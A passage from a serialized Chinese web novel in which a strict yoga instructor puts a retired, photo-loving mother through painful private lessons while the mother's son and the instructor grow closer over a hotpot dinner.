高雯帮胡虹摆好瑜伽砖后，出言道：“把你手指大大张开，第二根手指对准瑜伽砖，虎口压实瑜伽垫，进入四足跪姿。” 胡虹自有想法，立刻摆了一个有模有样的姿势。 高雯上前帮她一一调整，动手的时候说道：“大臂外旋，手肘窝要对准瑜伽砖。” “好好好。”胡虹笑，“可以了！” 开始吧！ “背部推饱满，”高雯伸出手，放在胡虹的肩背，“推上来。肩胛骨向两侧划开，再推。” “好累。”胡虹抬头看高雯，微微拧眉，“还没好吗？” 怎么这么多动作？其他瑜伽馆都没有！ “再推，你的肩背塌下去了。”高雯脸色未变。 胡虹默默低头，耸拉着脸再一次往上推背。 小姑娘真严肃。 高雯：“屈肘向下，慢慢把你的肩膀靠在瑜伽砖上。” 胡虹一听，这个她会，她立刻往前，肩膀趴在瑜伽砖上，真舒服。 “”高雯走到胡虹前面，再次帮她矫正，伸手放在她头顶，“这里是百会穴，你的百会穴只能轻轻落在瑜伽垫上，感受你的肩胛骨是否展开。” 胡虹没动，已读不回。 她满脑子都是摆好姿势了，快开始吧！ “收腹，膝盖离开瑜伽垫。”高雯说着，手放在胡虹的肩背，“把背往上推。” 胡虹认真照做：“好了吗？” “脚后跟踮起来，垫到最高，往前走。”高雯一一指导。 胡虹往前走啊走，同时道：“好累好累。” 今天就到这里吧，要回家吃饭了。 “夹住手肘，用力夹， ”高雯说完强调，“你的膝盖可以抬起来了，放在你的手肘上。” “那不是要离开地面？！”胡虹眼睛一瞪，拼命摇头。 这太为难她了！ “按照我说的做。”高雯面无表情，声线带着几分气场。 胡虹安静下来，委屈巴巴不敢反抗，只能慢慢尝试。 当她把两条腿都放在手肘上，离开地面的时候，整个人都震惊了，“这这这——” “用力夹紧手肘，”高雯站起身来，轻轻扶住她的腿，“把你的骨盆往上转动，吸腹，收稳核心，跟着我。” “慢慢的，伸直你的双腿，很好，很棒。” 胡虹跟着高雯，一步步完成了倒立，她简直难以置信， 她真是天赋异禀，做什么都很厉害！ 这么多年，她一直不化妆不打扮不减肥，但就是比同龄人年轻好看，就连随便生的儿子，不用辅导都是高材生，又高又帅！ 想想，胡虹觉得自己好厉害，不禁笑出声，她一激动，整个人摇摇晃晃起来。 “夹紧手肘，吸腹——保持一下，我给你拍个照片。” 高雯的声音在耳边响起，而胡虹一向不听指挥，眼见自己要倒下，一脸惊恐害怕：“我要倒了我要倒了，救命，救命啊——” 高雯第一时间抓住她的脚，想让她慢慢落下来，胡虹则想快速下来，动作太着急，膝盖就这么压在高雯那白皙娇嫩的手心上。 高雯认真严肃看向胡虹：“不能让你的膝盖就这么落下来，膝盖会受伤，练不到没关系，但你不能让自己受伤。” “安全第一，锻炼第二。” 胡虹像个犯了错的孩子，缩着她的脖子，没敢看高雯，乖巧点着头。 “先休息一下，马上就下课了。”高雯放缓声线，准备去辅助其他学员。 “老师，”胡虹叫住高雯，小声可惜道，“刚刚还没拍照” 她那么努力辛苦，还没拍照！ 高雯低眉浅笑回：“一会下课给你拍。” 胡虹擦着额头的汗，再一次露出大笑脸。 她刚刚真的好厉害啊，必须要拍下照片，让他们都看看！ 下课后。 高雯和会员道别，收完辅具后，发现那个阿姨没在了。 方寒给她发了消息。 高雯点开消息。 方寒发来的依旧是项目的问题。 她的时间不多，一个语音电话就拨打回去。 方寒见是高雯打过来的电话，立刻起身，拿着电话往楼梯间走，并第一时间接通她的电话。 “我刚下课。”高雯说。 “累不累？”方寒温声问。 这几天，他都特别担心她，又不敢多问。 “还好，本来没课，替其他老师上了一节，”高雯说着，打开手机，针对他提出的问题，一一解答，最后道，“我之后会把这些补充进去，这样你们的工作会更好展开。” 说完，她有些歉意，“我也是第一次接触，难免有不周到的地方。” “你做得已经很详细，很尽心，”方寒顿了顿，语气尽可能轻松，“别太累了，有什么事情我们随时能沟通，不要给自己太大压力，我们是朋友，不是甲乙方。” 要是甲乙双方，工作上多少有摩擦。 她可以不用那么紧绷着。 闻言，高雯笑了，话锋一转：“你今天忙不忙？” “不忙。”方寒说。 “一起吃顿火锅，顺便讨论工作。”高雯说。 这段时间，她都挺忙，没有坐下来好好聊了。 “好，一起去超市吗？”方寒发现，她心情不好的时候，去超市也很开心。 “嗯。” 门外。 林思悦站在教室门口，张妮走过来，往里面看了一眼：“雯雯老师还没打完电话吗？” “没呢。”林思悦难掩脸色上的兴奋。 “等等她吧。” “嗯。” 张妮和林思悦说着，往休息室走。 休息室内，前台小姑娘站在胡虹身边，她脸色激动，再三确认：“阿姨，雯雯老师的课是1588一节，没有任何优惠，您要是买一百节的话，就是158800。” 一出手就是十几万啊，她听到这个数字的时候，都以为自己听错了。 店里还没有单笔这么大的销售金额！ “好。”胡虹笑着从她的“购物袋”里掏啊掏，掏出了一张卡，她低头看了看，又伸手掏，拿出另外一张，随手伸过去，“刷这张好了。” “您稍等，我这就给您准备合同，”前台小姑娘生怕大单子飞了，赶紧去忙。 她一走，胡虹继续拨打方寒的语音电话。 一直显示忙线中。 “臭小子，在忙什么啊？”胡虹蹙眉，继续拨打。 期间，前台小姑娘把合同拿来了，胡虹看了一眼，签下字，没有任何犹豫刷了卡。 胡虹实在爽快，前台小姑娘忍不住道：“阿姨，要不你先坐一下，我去给馆长申请申请，给你送几套瑜伽服吧？” “好好好，谢谢你啊小姑娘。”胡虹笑。 前台小姑娘走出去，掏出手机给徐眉打电话，胡虹这边也终于接通了方寒的电话，她蹙眉道，“你和谁打电话呢？你妈电话里都不接。” “忙工作。”方寒丝毫不心虚，他和高雯就是在讨论工作。 “好吧，”胡虹脸色缓了缓，随即笑眯眯道，“我跟你说啊，我今天又来了个新的瑜伽馆，那个小姑娘长得好看，皮肤白得发光，态度好好很温柔，还很照顾我，我太喜欢她了。” “妈，您又来了。”方寒太阳穴疼。 胡虹自从退休后，沉迷于各种积攒体验课，从老年画画舞蹈再到手工花艺，茶艺下棋，遇到的每一个小姑娘，都能把人夸出花来。 尤其是外地来的小姑娘，那就是自立自强，温柔态度好，贴心耐心照顾她，还孝顺家里懂事。 每一个女孩子都是天使，胡虹恨不得把方寒变成女儿。 “这个不一样，和她们都不一样。”胡虹提高声线强调，笑眯眯道，“这个最好，比那几个小姑娘都好。” “嗯。”方寒回答很敷衍，“好。” “我还报了她的课，刚刚人多，她都没给我拍照呢！”胡虹又说。 听到这话，方寒表情有变化了：“报了课，您就好好学，锻炼锻炼身体。” 胡虹去了这么多地方，都没报班。 看来这一次的确是体验感很好。 说实话，方寒觉得胡虹天天点赞去上体验课，都快把周围的那些馆走遍了，学得不精，说不定还会被忽悠。 报班稳定下来，好好练，这是一件好事。 “老师来了，不跟你说了，拜拜。”胡虹见高雯走来，很干脆挂掉方寒的电话。 高雯知道胡虹报了她一百节课，也是诧异不已，她朝胡虹走来，声线轻缓问：“阿姨，您报了一百节私教课？” “对啊对啊。”胡虹用力点头，笑容满面，“我喜欢你给我上课。” 刚刚课上人太多了，体验感不好。 私教的话，这个小姑娘就只给她一个人上课，多好啊。 “一次性报一百节会不会太多了？”高雯说得委婉。 “没关系，不多，”胡虹站起身来，一脸期待问高雯，“我们现在能上课了吗？刚刚的照片还没拍。” 小姑娘说下课再给她拍，但下课已经不是上班时间，她不能占用她上班时间。 那就给她上课。 高雯：“现在？” “嗯嗯，我现在就想上你的课！”胡虹说。 前台小姑娘看了课表，低声道：“张姐她们刚刚把课调到中午了，正好空出一节课，可以上。” 在胡虹的坚持下，高雯带她去私教教室。 进教室前，胡虹看着不远处的林思悦和张妮，还很开心挥着手，笑容单纯又高兴：“拜拜，我上课了。” 林思悦和张妮抬手，扯动嘴角带着笑意，带着敬畏佩服，一路目送胡虹进教室。 教室门关上后，林思悦和张妮相互对视一眼。 “一百节课啊，雯雯的私教今天才刚推出吧？这么快就有大单了。”张妮说。 林思悦点头：“对啊，眉姐还怕定价太高，我看也没多高。阿姨多随意，眼睛不眨直接就刷了十几万。” 没有优惠是因为要把高雯的咖位定住，看看效果，要是效果不理想，之后再做活动也不迟。 现在看来，也还行。 张妮又问林思悦：“你买课没？” “买了十节，全当支持雯雯，我还不太敢上。”林思悦如实说。 平时她们上高雯的小班课，五个人一起分担压力，下课还累成泥，这要是一对一上一个小时，命都快没了吧？ “我也是。”张妮叹气，“这个阿姨可真猛啊，居然敢一个人上雯雯的私教，她是第一个吧？” 林思悦：“是的！” 前台小姑娘走过来说：“这个阿姨是好几家瑜伽馆的会员，底子肯定很好了。” 张妮有些丧丧：“天啊，我还不如一个阿姨。” “我这也是，好羡慕啊。”林思悦刚说完，手机收到一条短信，她疑惑看了两眼，走到一边，截图发给姜舒妍：【舒妍姐，这是什么？】 林思悦收到的短信显示，姜舒妍借网贷逾期了，让她催她还钱。 姜舒妍很快回：【诈骗短信，你别理。】 林思悦没多想：【好的。】 教室内。 胡虹把自己的手机拿出来，要让高雯给她拍照。 高雯则道：“先上课吧，上完课，我们再拍。” “好吧。”胡虹有些失落。 高雯问：“您想练什么呢？上私教可以针对性练习。” “我还没想好。”胡虹认真思考。 “我先帮您查看身体情况。”高雯走到胡虹身后，手指覆在她的后颈，一节节往下按，又落在她肩上。 随后，高雯把胡虹的手抬起来，手落在她腰上，“您的腰不太好吗？” “你怎么知道？”胡虹诧异，嘀咕道，“我坐了几十年办公室，腰椎间盘突出，原先只有膨出，后来可能是年纪大了，就突出了，不过我已经退休了，不然要累死人！现在只是走久了会酸软，没什么大问题，我一般都不走动，就喜欢躺着！” “练一练吧，练了就好了。”高雯走到旁边拿辅具，“先从肩颈腰开始练，您觉得怎么样？” “好啊好啊。” 胡虹满脑子都想着练完能拍照，小姑娘说什么她都答应，直到看到高雯拿出一根棍子，走到她身后，棍子上面还有倒刺，她警惕问：“这是什么？” “狼牙棒，锻炼之前要松解肌肉。”高雯说。 胡虹心里有不好预感，拒绝的话还没说出口，高雯的棍子就落在她肩上。 就在那一秒，胡虹的笑容消失殆尽，一阵剧痛让她忍不住叫出声，“疼疼疼，疼疼疼——” 她想回家，不要练不要练了。 “松解肌肉都疼，忍忍。”高雯手上力度没减缓，轻轻把往前倾的胡虹又扶回来，换了个方向帮她松解。 “太疼了太疼了，我不要上课。”胡虹大口大口吸气呼气，双手紧握，冷汗直流，声线颤抖，“我要回家了，要吃饭了。” “上完课刚好能回家吃饭。”高雯说。 胡虹委屈巴巴：“太疼了，嘶嘶嘶——” “嗯。”高雯停下动作。 就在胡虹以为结束时，高雯手中的狼牙棒，换到了她的另一边肩，吓得胡虹要蹦起来，下一秒又被一只纤细的手摁住，小姑娘声线清晰，不容反抗，“坐好。” 胡虹欲哭无泪。 这个小姑娘怎么这样啊？她不要拍照了行不行？让她回家，钱也不要了！ 胡虹被抽搐般绞痛的痛感轮了一遍又一遍，疼得浑身没力气，衣服都湿了，声音都哽咽起来：“我都哭了。” 高雯：“需要纸吗？” 胡虹站起身来，背对着高雯，吸了吸气，微微抬头，用手背遮住自己的眼。 她很坚强的，才不哭。 好了，结束了吧。 她要回家了。 高雯把狼牙棒放在一边，起身道：“我们开始上课了。” 胡虹瞪大双眼：“不是下课了吗？” “刚刚只是课前准备，我们现在开始上课，”高雯说完道，“肩颈课很轻松，不会那么累。” 胡虹犹豫了好一会，慢吞吞道，“我是看你长得这么好看，才相信你的。你别骗我！” 高雯点头：“真的，金刚座在瑜伽垫上。” 胡虹又被忽悠，刚坐下来，高雯就上前帮她调整坐姿。 相比其他体式，练肩颈腰的确不太累，但高雯对动作的要求比其他人都严格，做一个标准的动作很累，于是，胡虹在接下来的时间里，没有一刻是轻松的。 “吸腹、沉肩、拉长侧腰，再拉长，脖子往前，延伸——” “注意力要集中，再往前拉长。” “脚背平铺。” 胡虹浑身都在颤抖，她刚要开口，高雯的手落在她的背部，“这里感觉到酸软吗？” “感觉到了感觉了。”胡虹连忙胡说八道，豆大的泪珠顺着她的脸颊流下来，她已经累得快没力气了，每一秒都难熬。 “没有吧？”高雯浅笑一下，“你都没有启动上背部肌肉，换个体式。” 胡虹眼眶通红，又开始吸气，可怜兮兮看着高雯：“下课了吗？” 让她回家，她想回家—— “快了。”高雯走到一边，拿过来一把椅子，打开放在胡虹面前。 胡虹刚刚还觉得这个小姑娘凶巴巴，一点都不好，见对方给她拿了一把椅子，立马站起来，伸手擦了汗，坐在椅子上，对高雯感激道：“谢谢哦。” 上课是人家的工作，这不怪她。 小姑娘人还蛮好的，知道她累，还给她椅子坐着休息，真贴心。 “臀部坐在椅子边缘，把你的手往后伸，”高雯看着胡虹。 “不是休息了吗？”胡虹笑容再次僵住。 “下课就能休息了。”高雯示意她把手伸出来，“练好了，用椅子拍照特别好看，一会我给您拍。” “我已经很累了！”胡虹挣扎，“你看看，流了这么多汗，很疼很累。” 她很委屈的。 要回家了。 “您已经坚持了这么久，完成了大半，难道不拍个照留念一下吗？”高雯说完笑道，“苦不能白吃对不对？” 胡虹想想也是，来都来了。她继续被忽悠，咬着牙挥汗如雨。 她偶尔还红着眼眶问高雯：“好了吗？好了吗？要下课了吗？我肚子饿了，我老公做好饭等我回去吃饭了。” “快了。”高雯帮胡虹摆好姿势，拿着手机走到远处，轻声道，“腿再蹬高，眼睛看向前方，抬头，脖子延长，很好很棒——” 她故意没按下拍照键，不断说着口令，胡虹满脑子都是拍出好看的照片，使尽浑身力气维持姿势，甚至爆发出惊人毅力，脸都憋得通红。 高雯看出来了，出片是这位阿姨骨子里的执着。 “好了。”高雯刚说完，胡虹一下就倒下去，瞧见高雯严肃的脸色，她一脸心虚，连忙道，“忘记了忘记了。” 高雯：“不可以这样。很伤膝盖。” “我都累了，我那么辛苦流了那么多汗，我撑不住了——”胡虹瘪着嘴，说着又感觉万分委屈，“我吃了很多苦，我很委屈的。” 高雯无奈，走过去把手机给她：“姿势很好看很标准，这节课辛苦了。” 胡虹看到照片的那一刻，所有的辛苦突然就消散了，她特意放大，看着在椅子上拍照的自己，简直都被感动了。 “我好厉害啊，太厉害了吧！” 高雯给她倒了一杯水，又拿来干净的毛巾。 胡虹受伤难过的心灵，仿佛受到了安抚，看高雯的眼神，再次充满慈爱无害。 她端着水杯，和高雯一起走出去。 张妮和林思悦第一时间走过来查看情况，看着走进去时兴高采烈的阿姨，此时头发和衣服湿漉漉，脸上都是红晕，整个人被摧残了一番，走路姿势都不那么从从容容，一看就吃了不少苦。 她们倒吸一口气。 在那么多家瑜伽馆练过的阿姨，都不能抵挡高雯的强度。幸好她们没上私教！ 胡虹去换了衣服。 瑜伽馆送了她三套瑜伽套装，她拿着套装就要匆匆忙忙溜走，只想赶紧离开。 太可怕了，这个长得漂亮小姑娘居然这么狠心，把她都骗了！ 见胡虹要走，高雯叫住她：“阿姨，我明天还能看到你吗？” 对方买了一百节私教，要是不坚持来养成习惯，这些课多半是不会再上了。 胡虹脸上骤变，整个人都一激灵，眼神闪躲：“可能吧。” 高雯问：“明天约几点呢？” 胡虹眼珠子提溜转：“六点！我只有早上六点有空！剩下时间都很忙！” 年轻人都起不来。 “那您以后就都约早上六点，其他时间我的确也没空。”高雯说完冲她含笑挥手，语气清软，“我们明天见。” “！！！！” 胡虹面对高雯，她不敢拒绝，只会乖乖听话。 一想到明天还要来受罪，她内心都开始要哭唧唧。 太苦了太苦了，一辈子的苦都吃完了。 走出去后，胡虹掏出手机，一个电话就给方寒打过去，电话刚接通，她就哽咽着道：“不孝顺，你一点都不关心妈妈，我真是太可怜了。” 方寒吓了一大跳：“妈，您怎么了？” “你今天晚上必须回家，不然我不认你了！”胡虹说着，狠狠挂掉电话，又给方宏铭打过去，再一次抽噎诉苦。 她真的太可怜了，此时她就是全世界最可怜的人。 这对父子，没一个人关心她。 呜呜呜—— 第35章 第35章 吃了她的糕点，就不能欺负她…… 中午。 高雯收到了方寒的消息, 他说他有点事要回家一趟，下午不能和她一起去超市，晚上的火锅恐怕也不能吃了。 他连发了几条, 语气很歉意。 高雯心里觉得有些遗憾, 但很快回了他，表示谅解, 让他先忙。 方寒要回家，那肯定是很着急的事情，也不知道他的老家在哪, 这个她还真没问过。 高雯发了消息，让他路上注意安全。 回了消息后, 高雯就开始一节课接着一节课，方寒则心不在焉一整个下午, 一下班, 他就赶回去了。 刚回到方家, 方寒就看到正在柿子树下的方宏铭，他正摇头叹气。 看到儿子回来了, 方宏铭狠狠松了一口气。 “爸, 妈怎么回事？”方寒走过去问。 “不知道啊，早上说要去瑜伽馆锻炼, 回来的时候红着眼眶, 这一觉醒来，说她全身都疼，让去医院看看也不去, 一说就炸毛。”方宏铭压低声音，神色担忧。 方寒紧拧眉头，快步往正房走去。 胡虹躺在红木沙发上, 正在刷着短视频。 见方寒回来了，她瞥了他一眼，哼了一声，转身留给他一个冷漠背影。 跟进来的方宏铭看到这一幕，双手一摊，表示她一回来就这样。 方寒看到茶几上还放着切好的水果和煮好的杂粮粥，胡虹没动几口，他走过去，开口道：“妈，您这是怎么了？是不是练伤了？” “谁练伤了？！”胡虹一听，蹭一下坐起来，因为动作太猛，疼得龇牙咧嘴，声音更大了，一再强调，“我是练到了！我在启动深层肌肉，你懂吗？” 她说完，又看向方宏铭：“你也不懂，你就知道摆弄你那些花花草草和鱼鸟乌龟！一点都不锻炼，迟早有大肚腩！” 方宏铭无辜中枪，连忙改口：“是，我看也是练到了。” “之前没出现过这种情况吧？不是都去了好几家瑜伽馆了吗？舞蹈室也去了好几家。”方寒还是不放心。 “那是她们不专业！没有这个小姑娘专业！”胡虹虽然被高雯残忍对待，但她还是偏向这个小姑娘，立刻道，“她还教我怎么保护自己，一直告诉我安全第一，很贴心温柔！还给我拍了照片，我都给你爸看了！” 方寒紧蹙的眉头没消。 “是！”方宏铭连连点头，压低声音在方寒耳边悄悄道，“这一次不是和王阿姨去的，你妈自己去的，花了不少钱，效果肯定不一样。” 王秀芬是出了名的节省和彪悍，她退休后就拉着同样退休的胡虹，今天在这里抢点鸡蛋，明天去那里蹭个免费团，从前几个月开始，又说要培养情操，到处蹭各种免费体验课。 “我心里都有数！”胡虹说着，视线在这对父子身上扫来扫去，伸手指着他们，“就是你们，一点都不关心我！” “尤其是你！”她的手指停在方寒身上，哽咽着委屈道，“你关心过妈妈吗？你只管你的破工作，也不回来看我，我真是太可怜了！” 方寒嘴角一抽：“” 胡虹刚退休的时候，全国到处跑，人都不在家，他也是为了离公司近一点，这才搬出去图方便。 她玩得不亦乐乎的时候，都不清楚有个儿子吧？ “他这不是回来了吗？”方宏铭抬头，看了看墙上的时钟，“他肯定是一下班就回来了，肯定很担心你。” 胡虹话锋一转，“今天上瑜伽课的时候，你们都不知道这项运动有多疼，但多疼都忍着，一声不吭。我死死咬着牙，衣服都湿透了，没有一点退缩，”她说着，扫视两人，“你们没有一个人能够做到！” “是是是。”方宏铭立刻点头附和，“我们做不到。” 胡虹见方寒没动静，重重再次哼一声，“做不到的人，终究会被远远甩在后面，别看你现在年轻，等过了三十，身体就在走下坡路，尤其是长期面对电脑工作，会保不住头发，长大肚腩！” 闻言，方宏铭扭头看方寒，脑子里浮现胡虹说的话，连连摇头：“那不行啊，这样他怎么娶媳妇儿？他还没结婚！” “”方寒想到自律的高雯和上家公司秃顶的上司，他的沉默震耳欲聋。 “那有什么办法？他还不如我能吃苦，”胡虹得出结论，指着方宏铭，“肯定是你懒惰的基因，是你！” 方宏铭头疼，看向方寒，苦口婆心道：“年轻人还是得多多锻炼，爸没关系，爸都退休了，你还没结婚。” “” 方寒拿着手机搜了一番，观察胡虹，确定她没什么问题，就要回去了。 “不留下来吃饭吗？？”方宏铭从厨房伸出头。 “明天吧，今天还有点事。”方寒说。 “也行，你妈今天脾气火爆，我们还是不惹她为好，她刚吃了粗粮粥，我也没打算做几个菜，明天再多做几道你们想吃的。”方宏铭让他走了。 * 方寒回到出租屋，打开门，他看到坐在客厅的高雯。 高雯的面前放着一份减脂餐，她正看着电脑，面无表情吃着。 瞧见是方寒回来了，她很是诧异：“你不是回家了吗？” “嗯。”方寒点头。 “不回去了？”高雯又说。 方寒：“回去回来了。” “啊？”高雯一时没理解。 他不是回老家了吗？坐飞机还是高铁？在周边吗？ “离得不算远，也没什么大事。”方寒手上提着一个袋子，他从里面拿出几瓶罐子，“给你买了点茶饮，最近你不是上课频繁吗？多喝点润嗓子。” 高雯没继续纠结追问，她不想提及自己的家境，对别人的家境也不好奇，反而被几瓶罐子吸引，拿过来看：“西洋参？麦冬？菊花？这是什么——” “五味子。西洋参搭配其中一种泡就行了。”方寒看了看她面前没动多少的减脂餐，“还想吃火锅吗？” 一提及火锅，高雯下意识咽了咽口水，仰头看他，又低头看了看电脑上的时间。 “让超市送准备好的食材过来，我们再准备准备就差不多了。”方寒说。 “那，那就吃？”高雯抿了抿唇道，无感戳着面前的减脂餐，“我一连吃好几天的减脂餐，实在是吃不下去了。” “我知道，”方寒含笑，“今晚就吃火锅，我现在就下单，你想吃什么？” “虾滑、腐竹、莴笋、牛肉”高雯一一念着，“对了，还要有三文鱼。” “大闸蟹要吃吗？现在的大闸蟹满膏满黄，看着品质不错，四两一个的超大个，让超市蒸好送过来。”方寒下着单，抬头问高雯。 “我就吃一个好了，尝尝味。” “好。” 高雯本来对论文生无可恋，现在看着枯燥的论文，都觉得可爱了几分，她撑着手，继续埋头扎在论文里。 “你先忙，等你忙好论文，我们再讨论工作的事情。”方寒说。 “嗯嗯。” 方寒走到厨房，打开柜子开始准备火锅底料，为了不干扰她，他把厨房的推拉门关上，尽可能放轻声音。 高雯的手指在键盘上灵活敲打，她无意抬头一瞥，望着方寒的背影，心潮涌动，唇角不自觉浮现一抹笑意。 和方寒相处的时间会过得快乐一些，他总能抚平她的不安和烦躁。 高雯甚至有一瞬间在想，就和他过这样平平淡淡的日子，没什么不好。 她能接受。 * 翌日。 天还未全亮。 胡虹手上拎着衣服店的购物袋，站在语禾瑜伽馆门口来回走着，脑子里不断在想用什么借口躲避。 这么早，年轻人应该起不来，瑜伽馆都没开门。 迟到了可不怪她，她就要回去了！ 胡虹正期盼着，身后传来一道清脆温软的声音：“阿姨，早上好。” 这一道声线传来，胡虹心死了大半，她一回头，就看到笑容明艳的高雯，她用指纹打开大门，“是不是等久了？下一次我早点到。” 实际上，高雯已经提前了二十分钟。 胡虹扭捏道：“我刚到。” “您先坐下来，等我五分钟，我给您泡个茶，然后我们就上课。”高雯说。 胡虹连忙说，“没事，你慢慢来，不着急。” 最好泡半个小时，就不用给她上课了。 可惜，高雯动作利索，都没用五分钟，她就已经去教室里铺好垫子，笑着对高虹道；“阿姨，进来吧。既然来了，我们就提前上课，您也能提前回家。” 胡虹看着那个教室，整个人一哆嗦，再一次揪紧自己的袋子，苦着脸欲哭无泪。 都怪王秀芬，天天拉她去上免费课，免费的东西最贵了，看吧， 害她掉坑了！ 还有方寒和方宏铭，为什么给她点赞！ 赞赞赞，就知道瞎赞！ 还有这个小姑娘，漂亮的外表骗了她，把她骗惨了！ 胡虹挪动着小碎步，宛如要奔赴刑场。 “阿姨？”高雯见胡虹久久没进来，出门唤了一声。 胡虹不敢不听话，目光带着坚定，往教室去。 高雯见她还拎着那个购物袋；“您不把包包放好吗？不过放在旁边也行，私教教室没其他人。” “你吃早餐了吗？”胡虹问高雯。 “我吃了呀，吃了麦片。”高雯拿了辅具，想起来没拿狼牙棒，起身去拿。 胡虹一看那个棍子，整个人一颤，她连忙从购物袋里掏啊掏，拿出一盒糕点，伸到高雯面前，态度很诚恳：“这个是传统手工糕点，很难买的，味道很好吃，送给你。” “谢谢阿姨，我一会尝尝。”高雯话语感激。 “要是你喜欢吃，我下次还给你带。”胡虹强调后半句。 吃了她的糕点，就不能欺负她了。 “您的好意我领了，不用那么麻烦，我吃得少。”高雯含笑招手让她坐下，“我先给您松解肌肉，您坐。” 胡虹看着高雯手中的狼牙棒，心下颤颤。 呜呜呜—— 收下她的糕点还要欺负她。 贿赂怎么不管用—— 作者有话说：这一章更得少，下午六点再补一更。 大家早上好。 第36章 第36章 方寒不是孤儿吗？ 胡虹看着那根狼牙棒要往自己肩上压下, 她实在发怵。 最后时刻，她直接躲开，对高雯道：“我的肩上都有瘀青了, 不能揉了, 而且我肩很酸软，没有力气, 我今天要练腿！” “我查过了，腿有力量的话，腰部就会有支撑, 对腰有好处！” 没错，她要练腿。 高雯看着胡虹肩上的瘀青, 点了头：“也行。”她说着，起身换了方向, “您躺下来, 把腿伸直。” “好。”胡虹乖乖照做, 很开心自己躲过一劫。 下一秒，高雯的狼牙棒放在她的小腿后侧, 开始揉了起来。 胡虹眼底骤变, 惊恐道：“我说的是练腿！” “嗯，也要先松解。”高雯将她缩回去的腿, 直接拉回来, 笑着接话，手上的力度没有半分减少。 “疼疼疼——疼——”胡虹心里想哭，不断在数数。 她躺在地上, 疼得上半身不断在扭动，下半身被高雯稳稳摁住，她的手法干脆利落, 十分精准松解。 松解完小腿，再来到大腿，松解完一边，来到另一边。 胡虹从未这么狼狈过，像一只蛆扭动，任由高雯蹂躏，到了最后，她疼累了，躺着用手背遮住自己的眼睛，吸着气。 高雯松解完后，将狼牙棒放在一边，轻声问她：“需要纸巾吗？” 胡虹还没把手背移开，只是一味摇头。 “肩的松解会更疼一点，腿的话还好，昨天您都能承受，今天应该更没问题，”高雯出口说。 胡虹小声：“嗯。” 她很坚强的。 “您慢慢就疼习惯了。” 高雯一说这话，胡虹一下拿开手背，有些湿润的眼看向她，震惊于从这个小姑娘口中说出如此狠心的话语。 她在说什么？什么叫疼习惯了？意思是她每天都要被这样狠心对待吗？ 命苦啊。 她一辈子就没遭过这种酷刑！ 高雯走到一边，拿来一把椅子。 胡虹这回不会认为是给自己休息的了。 接下来的时间，胡虹感觉过得比第一节课还要漫长。 她从来没怎么锻炼过，腿部没有力量，而训练腿部的力量，比肩部还累还难。 高雯这个小姑娘，一到上课，就变得格外严肃。 胡虹试图和她商量：“我可以慢慢练吗？我对自己要求很低的。” “不可以，您来了这里，上了我的课，我就要对你负责。”高雯把手轻轻放在她的腿上，“往后蹬，用你全部的力气。” “我蹬了。” “您在偷懒。”高雯面无表情看向胡虹，话语严肃，“偷懒的话，达不到目标，我会延长课时。” 胡虹无比想回家，她只能把泪水咽下去，咬着牙，使劲往后疼。 她的腿开始剧烈颤抖，汗水狂流。 “这回没偷懒了，很棒。”高雯说完继续道， “姿势很标准，保持一下，我给您拍照。” 一说拍照，胡虹来劲了。 甚至看着高雯的镜头，使劲抬头挺胸，略显狼狈的脸上还露出笑意。 “很好，腿再抬高。” “换一条腿。” “身子往后，脖子延长，拉长侧身，把你的肚子吸薄一点。” 依照胡虹的体力，练腿也就练了半个小时，直接没劲了。 她浑身都是汗躺在垫子上，眼底委屈巴巴看着高雯，还有点瑟瑟发抖。 “练练腹，练出马甲线，拍照好看。”高雯看了看时间，总不能浪费剩下的半节课，她走到胡虹身边，“休息一下再开始。” 胡虹一听能休息，心里又对这个小姑娘充满感激。 只听高雯开始倒计时：“5——4——3——” 胡虹：“？？？” “2——1——继续。” “”她就不该来，谁能放她回家？ “下课了。” 高雯说出这句话的时候，胡虹连欢呼解脱的力气都没了，多次感觉自己险些一命呜呼。 她瘫在垫子上，整个人带着一种淡淡的死感。 生无可恋。 又有一种熬过来的庆幸。 高雯端了水走进来，拿着毛巾走进来，看向胡虹柔声道：“您还好吗？” 胡虹看着高雯那张明媚水灵的脸，想起刚刚课上的遭遇，她用尽力气艰难转了身，觉得她是个漂亮的魔鬼。 这个小姑娘好凶好严厉，她好委屈呜呜呜—— 胡虹沉默了一会，又怕小姑娘难过，嘟囔出声道：“我有点累，要缓一下。” “好的，”高雯把毛巾给她，又把水放在她身边，随后道，“我给您擦点活络油，瘀青很快就消了。” 闻言，胡虹回头，看到高雯手中拿着一瓶活络油。 她那黯淡无光的眼睛，蹭一下又被点亮，她快速坐起身。 高雯来到她的身旁，将活络油倒在自己手上，揉搓得有温度后，白皙娇嫩的手覆上胡虹的肩膀，替她揉捏试擦。 胡虹受宠若惊，乖乖坐好一动不动。 “您要坚持来，过段时间，您就适应了，忍耐力也会越来越高，就会这么辛苦，您会习惯的，身体素质会越来越好。”高雯的声线在胡虹耳边响起。 胡虹觉得这小姑娘对她真好，宛如被灌下迷魂汤，全然忘了自己刚刚上课时在心里发了毒誓，一口就道：“我明天还会来的！” “明天还是约早上六点对吧？”高雯又问。 胡虹毫不犹豫重重点头：“嗯！” “好的。”高雯拿出手机就在后台操作，“给您约上去了。” 胡虹还笑：“谢谢。” “不客气。” 胡虹感觉，高雯帮她试擦药油后，她就不疼了。 这个小姑娘真好！真贴心！ 胡虹一感动，看到前台来了，立刻要再续一百节高雯的私教课。 “啊？”这话把前台小姑娘吓了一跳，“您不是昨天才买一百节吗？” “那我就存着！”胡虹说。 高雯正巧出来，听到这话，连忙阻止，让胡虹先上完再来。 对此，胡虹还非常可惜，她离开的时候，十分恋恋不舍，抬手看向高雯，招手道：“拜拜，明天见。” 高雯笑得很温柔：“明天见。” * 胡虹回去的路上，还沉浸在高雯这个好看的小姑娘很负责贴心里。 到家后，方宏铭正在给前院的花花草草浇水，旁边还放着一篮子他今天摘下来的柿子，准备做柿饼。 方宏铭看到胡虹回来了，放下浇花壶，笑着道：“锻炼回来了？我煮了银耳粥，还蒸了红薯玉米，正好能吃点。” 胡虹坐在石凳上，心情颇好，“上课很疼很累，我的衣服都湿透了，但我都咬牙坚持，一点都没退缩！” “厉害了，”方宏铭竖起大拇指，将粥和红薯还有玉米端出来，“你这一大早就出去锻炼，多么健康的生活方式，指定长命百岁。” 方宏铭说着开始削柿子皮。 院子里的两棵柿子树都长满了柿子，吃不完只能浪费，做成柿子饼能保存久一点。 “那肯定啊——”胡虹喝着粥，开始夸高雯，“那个小姑娘啊，真是一个好姑娘，那么努力，天都没亮就来了。” “年轻人，不容易的！” “是是是，来这里生活扎根不容易。”方宏铭附和，他和方寒一样，记不清这是胡虹夸的第几个了。 